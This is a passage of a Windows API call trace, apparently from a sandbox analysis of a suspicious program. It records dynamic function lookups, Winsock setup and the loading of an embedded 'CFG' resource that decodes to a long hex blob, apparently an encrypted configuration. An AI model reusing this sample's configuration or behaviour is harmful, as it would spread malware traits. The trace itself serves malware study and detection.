(hModule=0x769d0000, lpProcName="VarAdd") returned 0x769f5934 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarSub") returned 0x76a4d332 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarMul") returned 0x76a4dbd4 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarDiv") returned 0x76a4e405 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarIdiv") returned 0x76a4f00a [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarMod") returned 0x76a4f15e [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarAnd") returned 0x769f5a98 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarOr") returned 0x76a4ecfa [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarXor") returned 0x76a4ee2e [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarCmp") returned 0x769eb0dc [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarI4FromStr") returned 0x769e6fab [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarR4FromStr") returned 0x769f01a0 [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarR8FromStr") returned 0x769e699e [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarDateFromStr") returned 0x769f6ba7 [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarCyFromStr") returned 0x76a16c12 [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarBoolFromStr") returned 0x769edbd1 [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromCy") returned 0x769f7fdc [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromDate") returned 0x769e7a2a [0024.815] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromBool") returned 0x769f0355 [0024.815] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xc4 [0024.815] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xc8 [0024.815] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0024.816] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb8c | out: lpPerformanceCount=0x18fb8c*=16676780359) returned 1 [0024.816] GetTickCount () returned 0x1151dbe [0024.816] GetLocalTime (in: lpSystemTime=0x18fb84 | out: lpSystemTime=0x18fb84*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x31, wMilliseconds=0x24a)) [0024.816] GetLocalTime (in: lpSystemTime=0x18fb84 | out: lpSystemTime=0x18fb84*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x31, wMilliseconds=0x24a)) [0024.816] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb8c | out: lpPerformanceCount=0x18fb8c*=16676815945) returned 1 [0024.816] GetTickCount () returned 0x1151dbe [0024.816] GetLocalTime (in: lpSystemTime=0x18fb84 | out: lpSystemTime=0x18fb84*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x31, wMilliseconds=0x24a)) [0024.816] GetLocalTime (in: lpSystemTime=0x18fb84 | out: lpSystemTime=0x18fb84*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x31, wMilliseconds=0x24a)) [0024.816] GetModuleHandleW (lpModuleName="ole32.dll") returned 0x762c0000 [0024.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoCreateInstanceEx", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0024.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoCreateInstanceEx", cchWideChar=18, lpMultiByteStr=0x1e782bc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoCreateInstanceEx", lpUsedDefaultChar=0x0) returned 18 [0024.816] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstanceEx") returned 0x76309d4e [0024.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoInitializeEx", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoInitializeEx", cchWideChar=14, lpMultiByteStr=0x1e6288c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoInitializeEx", lpUsedDefaultChar=0x0) returned 14 [0024.817] GetProcAddress (hModule=0x762c0000, lpProcName="CoInitializeEx") returned 0x763009ad [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoAddRefServerProcess", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoAddRefServerProcess", cchWideChar=21, lpMultiByteStr=0x1e782bc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoAddRefServerProcess", lpUsedDefaultChar=0x0) returned 21 [0024.817] GetProcAddress (hModule=0x762c0000, lpProcName="CoAddRefServerProcess") returned 0x76323cf3 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoReleaseServerProcess", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoReleaseServerProcess", cchWideChar=22, lpMultiByteStr=0x1e782bc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoReleaseServerProcess", lpUsedDefaultChar=0x0) returned 22 [0024.817] GetProcAddress (hModule=0x762c0000, lpProcName="CoReleaseServerProcess") returned 0x76324314 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoResumeClassObjects", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoResumeClassObjects", cchWideChar=20, lpMultiByteStr=0x1e782bc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoResumeClassObjects", lpUsedDefaultChar=0x0) returned 20 [0024.817] GetProcAddress (hModule=0x762c0000, lpProcName="CoResumeClassObjects") returned 0x762cea02 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoSuspendClassObjects", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoSuspendClassObjects", cchWideChar=21, lpMultiByteStr=0x1e782bc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoSuspendClassObjects", lpUsedDefaultChar=0x0) returned 21 [0024.817] GetProcAddress (hModule=0x762c0000, lpProcName="CoSuspendClassObjects") returned 0x7632bb02 [0024.817] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x1e7f48c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeConditionVariable", lpUsedDefaultChar=0x0) returned 27 [0024.817] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x1e782bc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeConditionVariable", lpUsedDefaultChar=0x0) returned 21 [0024.817] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0024.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x1e7f48c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeAllConditionVariable", lpUsedDefaultChar=0x0) returned 24 [0024.818] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0024.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0024.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x1e7f48c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SleepConditionVariableCS", lpUsedDefaultChar=0x0) returned 24 [0024.818] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0024.818] GetThreadLocale () returned 0x409 [0024.818] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0024.818] GetCurrentThreadId () returned 0x5b0 [0024.818] GetCurrentThreadId () returned 0x5b0 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x18f734, cchData=256 | out: lpLCData="2") returned 2 [0024.818] GetThreadLocale () returned 0x409 [0024.818] EnumCalendarInfoW (lpCalInfoEnumProc=0x41fb08, Locale=0x409, Calendar=0x2, CalType=0x4) returned 1 [0024.818] GetThreadLocale () returned 0x409 [0024.818] EnumCalendarInfoW (lpCalInfoEnumProc=0x41fbac, Locale=0x409, Calendar=0x2, CalType=0x3) returned 1 [0024.818] GetCurrentThreadId () returned 0x5b0 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x18f730, cchData=256 | out: lpLCData="Sun") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x18f730, cchData=256 | out: lpLCData="Sunday") returned 7 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x18f730, cchData=256 | out: lpLCData="Mon") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x18f730, cchData=256 | out: lpLCData="Monday") returned 7 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x18f730, cchData=256 | out: lpLCData="Tue") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x18f730, cchData=256 | out: lpLCData="Tuesday") returned 8 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x18f730, cchData=256 | out: lpLCData="Wed") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x18f730, cchData=256 | out: lpLCData="Wednesday") returned 10 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x18f730, cchData=256 | out: lpLCData="Thu") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x18f730, cchData=256 | out: lpLCData="Thursday") returned 9 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x18f730, cchData=256 | out: lpLCData="Fri") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x18f730, cchData=256 | out: lpLCData="Friday") returned 7 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x18f730, cchData=256 | out: lpLCData="Sat") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x18f730, cchData=256 | out: lpLCData="Saturday") returned 9 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x18f734, cchData=256 | out: lpLCData="Jan") returned 4 [0024.818] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x18f734, cchData=256 | out: lpLCData="January") returned 8 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x18f734, cchData=256 | out: lpLCData="Feb") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x18f734, cchData=256 | out: lpLCData="February") returned 9 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x18f734, cchData=256 | out: lpLCData="Mar") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x18f734, cchData=256 | out: lpLCData="March") returned 6 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x18f734, cchData=256 | out: lpLCData="Apr") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x18f734, cchData=256 | out: lpLCData="April") returned 6 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x18f734, cchData=256 | out: lpLCData="May") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x18f734, cchData=256 | out: lpLCData="May") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x18f734, cchData=256 | out: lpLCData="Jun") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x18f734, cchData=256 | out: lpLCData="June") returned 5 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x18f734, cchData=256 | out: lpLCData="Jul") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x18f734, cchData=256 | out: lpLCData="July") returned 5 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x18f734, cchData=256 | out: lpLCData="Aug") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x18f734, cchData=256 | out: lpLCData="August") returned 7 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x18f734, cchData=256 | out: lpLCData="Sep") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x18f734, cchData=256 | out: lpLCData="September") returned 10 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x18f734, cchData=256 | out: lpLCData="Oct") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x18f734, cchData=256 | out: lpLCData="October") returned 8 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x18f734, cchData=256 | out: lpLCData="Nov") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x18f734, cchData=256 | out: lpLCData="November") returned 9 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x18f734, cchData=256 | out: lpLCData="Dec") returned 4 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x18f734, cchData=256 | out: lpLCData="December") returned 9 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x18f784, cchData=256 | out: lpLCData="$") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x18f784, cchData=256 | out: lpLCData="0") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x18f784, cchData=256 | out: lpLCData="0") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x18f97c, cchData=2 | out: lpLCData=",") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x18f97c, cchData=2 | out: lpLCData=".") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x18f784, cchData=256 | out: lpLCData="2") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x18f97c, cchData=2 | out: lpLCData="/") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x18f73c, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f73c, cchData=256 | out: lpLCData="1") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x18f73c, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f73c, cchData=256 | out: lpLCData="1") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x18f97c, cchData=2 | out: lpLCData=":") returned 2 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x18f784, cchData=256 | out: lpLCData="AM") returned 3 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x18f784, cchData=256 | out: lpLCData="PM") returned 3 [0024.819] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x18f784, cchData=256 | out: lpLCData="0") returned 2 [0024.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f784, cchData=256 | out: lpLCData="0") returned 2 [0024.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x18f784, cchData=256 | out: lpLCData="0") returned 2 [0024.820] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x18f97c, cchData=2 | out: lpLCData=",") returned 2 [0024.820] LoadLibraryW (lpLibFileName="ws2_32.dll") returned 0x75360000 [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="WSAIoctl") returned 0x75362fe7 [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="__WSAFDIsSet") returned 0x75366a8a [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="closesocket") returned 0x75363918 [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="ioctlsocket") returned 0x75363084 [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="WSAGetLastError") returned 0x753637ad [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="WSAStartup") returned 0x75363ab2 [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="WSACleanup") returned 0x75363c5f [0024.820] GetProcAddress (hModule=0x75360000, lpProcName="accept") returned 0x753668b6 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="bind") returned 0x75364582 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="connect") returned 0x75366bdd [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="getpeername") returned 0x75367147 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="getsockname") returned 0x753630af [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="getsockopt") returned 0x7536737d [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="htonl") returned 0x75362d57 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="htons") returned 0x75362d8b [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="inet_addr") returned 0x7536311b [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="inet_ntoa") returned 0x7536b131 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="listen") returned 0x7536b001 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="ntohl") returned 0x75362d57 [0024.821] GetProcAddress (hModule=0x75360000, lpProcName="ntohs") returned 0x75362d8b [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="recv") returned 0x75366b0e [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="recvfrom") returned 0x7536b6dc [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="select") returned 0x75366989 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="send") returned 0x75366f01 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="sendto") returned 0x753634b5 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="setsockopt") returned 0x753641b6 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="shutdown") returned 0x7536449d [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="socket") returned 0x75363eb8 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="gethostbyaddr") returned 0x75376c01 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="gethostbyname") returned 0x75377673 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="getprotobyname") returned 0x753768b3 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="getprotobynumber") returned 0x753767c4 [0024.822] GetProcAddress (hModule=0x75360000, lpProcName="getservbyname") returned 0x75376ef3 [0024.823] GetProcAddress (hModule=0x75360000, lpProcName="getservbyport") returned 0x75376d62 [0024.823] GetProcAddress (hModule=0x75360000, lpProcName="gethostname") returned 0x7536a05b [0024.823] GetProcAddress (hModule=0x75360000, lpProcName="getaddrinfo") returned 0x75364296 [0024.823] GetProcAddress (hModule=0x75360000, lpProcName="freeaddrinfo") returned 0x75364b1b [0024.823] GetProcAddress (hModule=0x75360000, lpProcName="getnameinfo") returned 0x753667b7 [0024.823] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4edec0 | out: lpWSAData=0x4edec0) returned 0 [0024.832] GetACP () returned 0x4e4 [0024.832] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb8c | out: lpCPInfo=0x18fb8c) returned 1 [0024.832] FindResourceW (hModule=0x400000, lpName="CFG", lpType=0xa) returned 0x4f5410 [0024.832] LoadResource (hModule=0x400000, hResInfo=0x4f5410) returned 0x4f7718 [0024.832] SizeofResource (hModule=0x400000, hResInfo=0x4f5410) returned 0x144a [0024.832] LockResource (hResData=0x4f7718) returned 0x4f7718 [0024.833] GetCPInfo (in: CodePage=0xfde9, lpCPInfo=0x18fab8 | out: lpCPInfo=0x18fab8) returned 1 [0024.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5b358, cbMultiByte=5194, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5194 [0024.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5b358, cbMultiByte=5194, lpWideCharStr=0x1e5c88c, cchWideChar=5194 | out: lpWideCharStr="48\r\n2A16CBBD170BA192D99BA8938F9CA7DFCF8E68A16EE5E5FA2975A86348C06956\r\n10783E5FE5C447B08C979F4D460D49524CF4351D2AAF7EBEBF80FE95CC8A1A95\r\nB3F6F3D4923D0FB664AFC9C9FEC74834FED725F26DED7A09A60710305E487538\r\nF5878879738A76E8CD30247E957072FB6A51BDA127DE7B7CFD64760C4759BE61\r\n0B4822983A29800E3F54D481873BE4524A5FEB785A0313A42A2B863994A6CA7F\r\n1FD4D021B4A65DA489F39C8500DD36AC994340124548478EF4581CDAB0DB8AB5\r\n9293B06452C06D8A493366ED29C0C642784076ADBAD1B9B7BA45F1B132FAC763\r\n8B6CF4542FDE0F5B5FD3224A807FAFE641B1C727E014533ADA80A44C43731B01\r\n25ABACCC49DA763973EAC14E404FFCD98D2532E21A85E9C672DF057C1408DA53\r\nF7F486F531399B99CABBE04C8C7EF3B5C78F66D4EB8ECFBC92A7E4F77C1538C3\r\n95BB9E5C2EE0D45DCBE6B1AFF80FDD5073D9CD4A114519C9F512E283FC7651E5\r\n9709ADD047DB8B7EDC4A14712CF55EC7A27F92C73E1FC3543E8D2690D2599680\r\nFF7F02FCB080FF652FE0E7775D6809D9E56C9AE705F843D5B527E505782D55B9\r\nBCE404A85042113B4D87571B30B5BC3E48EF7140485EA576DC7763AACD336488\r\n4923B20CC878839D8646884189C4C45919D6D78C300F601A5988A8ABD61399FF\r\n804A2316E453DD4368E76AE671F7E85B74C59927D73693CA01E825316DDD25F4\r\n4017A52FC96281C0C270DFA3993EE468406B275F7B9B9610BB66919959695E64\r\n9D17024A0A7F3F68CF42E802BCCB0CF84312BDE9DDB32D75C5612F019BD2B234\r\nF25675105B3E598B1DA28AF0260CD9261D9940ACC38A5C2C885596A97C6964AF\r\nA92604AAF064B77B8E59E6CBE805558205F631224909C518CD4DF4217E1E65E3\r\nBC0E8C5E056D6E3FC7B1B7271EDBCE8B500F9D2583BD198F19FEF04A48EE546C\r\n7963408C3F414E92C532801ED674509B254EDE40C0257C934983148B01B33AC9\r\n9B4515433FA8E322E623691A662D51572EBC7DCFEA732B06D758CC70D366C860\r\n7CAD1220EEA5C8B16EFDA6FCDFAF4D726E26633D282557BE0A737225FAE661DF\r\n1A41A54BCD472993202D054365EDC578F8F6AFD6101B407EDAEDEC00829E8604\r\n58579837F5074D51F6FA9CC9F3B1CFC3E6A3AF71F17E3A5A0EA6D5017DA7A27E\r\n92F0AFDF697F46B95107377257CFF3732B8AA364E68096E3DAC15AB5633FCCEC\r\n3A3FD17F917934A4B3DE32869A09B959E363CA87F0CEFAA7A24BFACDF02F2875\r\nF07942870A3260D0149B9986B7BC9867D867AD837B3583890D9ED718251A1A93\r\n3734DCA4A8FD15901D58E1632720594087E34D73D74287AFFF8AD9CDAC1A6D1B\r\n82288E2EA7A59373395B69EA2CE0D17ACDCA5D2ABC7078FC64E1F5F883AB5F83\r\n96CC1618E5810DBC0B05331D10A79877E85B1A6E7695177588EABE6127885DD2\r\n1EEF3858D5C574540F3D653B6402763E91DFE5FD2C8D5DB124566529DA24C65B\r\n50C0ED8E80582F043BEDD61F0137695DF498F07093CF06B463328B0925EFAD90\r\nC600EFFFF558FB0B44B5B946DF09B43B185A4113F8784DB077021B7756E1664A\r\nFB72AC30679F9D938A8BE52F30573D38EB43B2F410F18D709283108AF36921B8\r\n8F9C4C18B72017DCFB36E5A5ADB6633566FB9661EDC5CEDC71B533F75954F590\r\nB76D22F94602986A37A4209FF4541AF42A654C99F44B395631B3AA684E8E8F8E\r\n6D4684FBC6BCE850F822325A66093EDEC29A9631751F7559654F6587AEE7B244\r\nFA39C6EF30FA2B6D43C80E222BF21EDEF3C373CD952139675120D79F49EF41A2\r\nF5C96AB7FA6A8761451FA093EFBA21386EB63932E74DCE9C1AFBFDA455F18816\r\n53AE52C45D53C0994F214EDE31FC5746D2A4893FC2B1EC39CE11A45CCD24F46B\r\n8C2240E9F1E140AEDCDC44B527E743D86C45CD51B8AF8F51253474BB92B7D479\r\n060AAB4C08B3B49B0603326697494B4D0D85ACA7B60194074D9A3A925191DF0A\r\nEFDD57C12EAB3CEC17E00B7B5B31C0F8E9FD4A6E3CC7F9D728A6D17AA2B6F3DA\r\n058AF16529568CABC64B082F1B65C7926084F7B6C40E237EFF146F12B5EB256E\r\n9D9B11753277F81F7064C8E79B6DC1EE05D6E10BCE2390A39BA3206C4AD97A43\r\nEBD4F8748F1094395EEDB13306F2BCBF343527E0E0FEB78C66D551292ECD2FB5\r\n24\r\n2DE617\r\n87AB7759FCF8BC3501\r\n1DA454D84848EEA0FE13855D46178F8CD8221CAD69105499C00111F620FF372F39DDC820DB1C36F4D19B5C89F7E6567751272991B1C32878F5579814834E4F2886D4DA7D1D79A17341A1521098059A7F9C437EB24B63E647BE92E65302B593BD4A1577F836EC0C044E5F5B1D6765E7E5EA57E747BBE8\r\nE7634C642CC3691F53855D41D646D23D8108C589816978B5600E36E5D0EA569B1A2ED09462E795123491BAFC51E635A2D64755A83F3FC86FA73F41412